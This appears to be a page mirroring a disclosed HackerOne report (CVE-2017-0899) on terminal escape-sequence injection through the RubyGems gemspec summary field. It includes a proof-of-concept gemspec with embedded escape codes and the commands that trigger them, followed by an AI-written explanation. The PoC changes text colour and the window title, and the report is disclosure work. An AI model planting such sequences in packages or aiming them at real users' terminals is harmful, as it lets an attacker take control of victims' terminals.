Skip to content
RCE Disclosed report Intermediate CVE-2017-0899

Escape sequence injection in "summary" field

The gem summary field allows arbitrary escape sequences, which are printed to the terminal when a user queries gem details. An attacker could inject malicious escape sequences that may lead to arbitrary code execution in the victim's terminal.

mame Follow

Originally disclosed on HackerOne

Bounty$500 Low View original
  • Fixed in 4 months
  • Paid in 4 months
  • Disclosed after 4 months

Seems we can include any escape sequence in the "summary" field of gemspec. This allows attackers to inject escape sequences to a victim's terminal emulator.

How to attack

  1. An attacker creates a gem with summary string that includes malicious escape sequences, and push it to rubygems.org.
  2. A victim executes gem search attackers-gem -d, and the malicious string is printed in the terminal emulator.

In general, this is considered vulnerable. I'd like you to read Terminal Emulator Security Issues in detail. In short, an attacker can exploit this, not only to surprise a victim with a rainbow string, but also to inject malicious command to a victim's terminal, which may lead to abitrary code execution. Ruby WEBrick also handled a similar issue as a vulnerability.

Proof of concept

  1. Prepare the following gemspec.
Gem::Specification.new do |spec|
  spec.name     = "escape-sequence-injection-vulnerability"
  spec.version  = "0.0.1"
  spec.authors  = ["Yusuke Endoh"]
  spec.email    = ["[email protected]"]
  spec.summary  = "foo\e[31mbar\e[0mbaz \e]2;BOOM!\a"
  spec.homepage = "http://example.com/"
  spec.license  = "MIT"
end
  1. Run the following commands
gem build escape-sequence-injection-vulnerability.gemspec
gem install escape-sequence-injection-vulnerability-0.0.1.gem
  1. Run the following command.
gem query escape-sequence-injection-vulnerability -d && sleep 10

You will see a summary line "foobarbaz" (with "bar" red), and its window title changed "BOOM!".

The original report as published on HackerOne, by mame. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the gem summary field is not sanitised for terminal escape sequences before being printed to the terminal.

Impact

An attacker could inject escape sequences that may lead to arbitrary code execution in the victim's terminal.

What the attacker needed

Attacker can publish a gem; victim runs gem query with -d

How it was found

  1. Create a gem with a summary containing malicious escape sequences.
  2. Build and install the gem locally.
  3. Run a gem query command that displays the summary, causing the escape sequences to be interpreted.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Terminal emulators interpret special character sequences to control formatting, window titles, and other features. If untrusted input containing such sequences is printed, an attacker can manipulate the terminal, potentially running commands. This report shows that gem summaries can contain these sequences and are displayed without sanitisation.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by mame

View all

3 more disclosed reports, best first.

More from RubyGems

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.